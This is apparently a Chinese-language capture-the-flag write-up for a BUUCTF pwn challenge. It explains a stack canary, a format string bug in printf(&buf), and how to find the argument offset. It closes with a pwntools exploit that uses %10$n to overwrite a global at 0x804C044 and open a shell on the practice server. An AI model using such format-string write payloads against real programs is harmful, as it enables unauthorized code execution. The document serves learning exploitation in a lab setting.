buuctf第六题pwn题目不写题解了,因为比较基础,和先前的题型一致,甚至更简单,但是第七题直接难度翻倍。
ScreenShot_2026-03-18_195803_356.png
不多说了,先checksec
ScreenShot_2026-03-18_195924_028.png
从这里就开始和先前的题目不一样了QAQ

Arch: i386-32-little          #32位小端序
RELRO: Partial RELRO          #只对部分段做只读保护,.got 段仍然可写
Stack: Canary found           #**栈溢出保护开启,程序会在栈帧中插入一个随机 
                              值,函数返回前会校验该值,若被篡改则程序终止**
NX: NX enabled                #栈、堆等数据段被标记为不可执行,无法直接在栈上执行 shellcode
PIE: No PIE                   #代码段、数据段地址不会随机变化,方便利用固定地址构造 ROP 链或计算偏移。

这题难的主要是要找到canary这个随机值QAQ
接下来依旧是打开die,接着是ida看字符串
ScreenShot_2026-03-18_200806_011.png
32位
ScreenShot_2026-03-18_200858_734.png
找到ok!所在的函数,起时也就是main函数
ScreenShot_2026-03-18_200956_125.png
看代码逻辑,因为v8 = __readgsdword(0x14u);所以一般v8就是canary。

画出栈结构图:
高地址 (High Address)
+---------------------------------+
|  参数 (例如 a1 等)              |  [ebp + 8h] 
+---------------------------------+
|  返回地址 (Return Address)      |  [ebp + 4h]
+---------------------------------+
|  Saved EBP (保存的旧栈基址)     |  [ebp + 0h]    
+---------------------------------+
|  填充/保存的寄存器 (如 ebx)     |  [ebp - 4h] 
+---------------------------------+
|  v9 (int* 指针)                 |  [ebp - 8h]  / [esp + 7Ch]
+---------------------------------+
|  v8 (Stack Canary)              |  [ebp - 0Ch] / [esp + 78h]
+---------------------------------+
|                                 |
|                                 |
|  buf (占 0x64 / 100 字节)       |  
|                                 |
|                                 |  [ebp - 70h] / [esp + 14h]
+---------------------------------+
|                                 |
|  nptr (占 0x10 / 16 字节)       |  [ebp - 80h] / [esp + 4h]
+---------------------------------+
|  局部变量填充/子函数参数空间    |  [ebp - 84h] / [esp + 0h]   <--- esp 指向这里
+---------------------------------+
       低地址 (Low Address)

如果我们用栈溢出覆盖返回值的话,canary就会被覆盖,导致程序执行前后的canary值不一致,程序会崩溃。所以暂时不考虑栈溢出做题。
看代码还可以知道,只要第二次输入的nptr=unk_804C044就可以getshell。又看到read(0, &buf, 0x63u);紧接着就是printf(&buf);这是一个格式化字符串漏洞。

格式化字符串漏洞:可以利用printf()函数处理字符串的逻辑漏洞,输入字符串"%x","%p"就可以获得参数地址,甚至可以泄露canary,还有本题的unk_804C044的值

所以只要在第一次输入恶意payload泄露unk_804C044的值,再在程序第二次输入泄露的unk_804C044值就可以实现nptr=unk_804C044,从而getshell

具体实现就要用到%k$n,'%'开头的对printf()函数都有特殊含义,这个%k$n的意思就是把printf()函数已经打印的可打印字符的数量写进指定的参数地址:
比如:printf('aaaa%5$n'),已经打印了四个字符,所以执行到%5$n就会把数字4赋值给第5个参数的位置。
如果说我们把buf的起始位置写为全局变量unk_804C044的地址,再找到buf的地址是printf()函数的第几个参数的位置,那就可以构造payload = p32(0x804c044) + b'%k$n' 作为第一次输入。如果k确定了,这个payload的作用就是把已打印的字符(unk_804C044)(4字节)的数字(4)写进0x804c044的地址,然后只需要第二次输入一个数字4就可以getshell。

至于怎么找到buf是printf()函数的第几个参数位置,就需要试出来:

第一次输入的时候输入"AAAA%x.%x.%x.%x..,使得AAAA作为buf的标识,如果执行printf(buf)之后打印出了\x41414141,就可以数第几个%x得到的\x41414141,最后k就得出来了。

这里解释一下%x: 格式控制符,作用是:将一个无符号整数以十六进制小写形式输出(0-9、a-f)。

ScreenShot_2026-03-18_212442_358.png
这题是第10个%x

exp:

from pwn import *

p = remote('node5.buuoj.cn', 29535)
payload = p32(0x804C044) + b'aaaa' b'%10$n'
p.recvuntil(b'your name:')
p.sendline(payload)
p.recvuntil(b'your passwd:')
p.sendline(b'8')
p.interactive()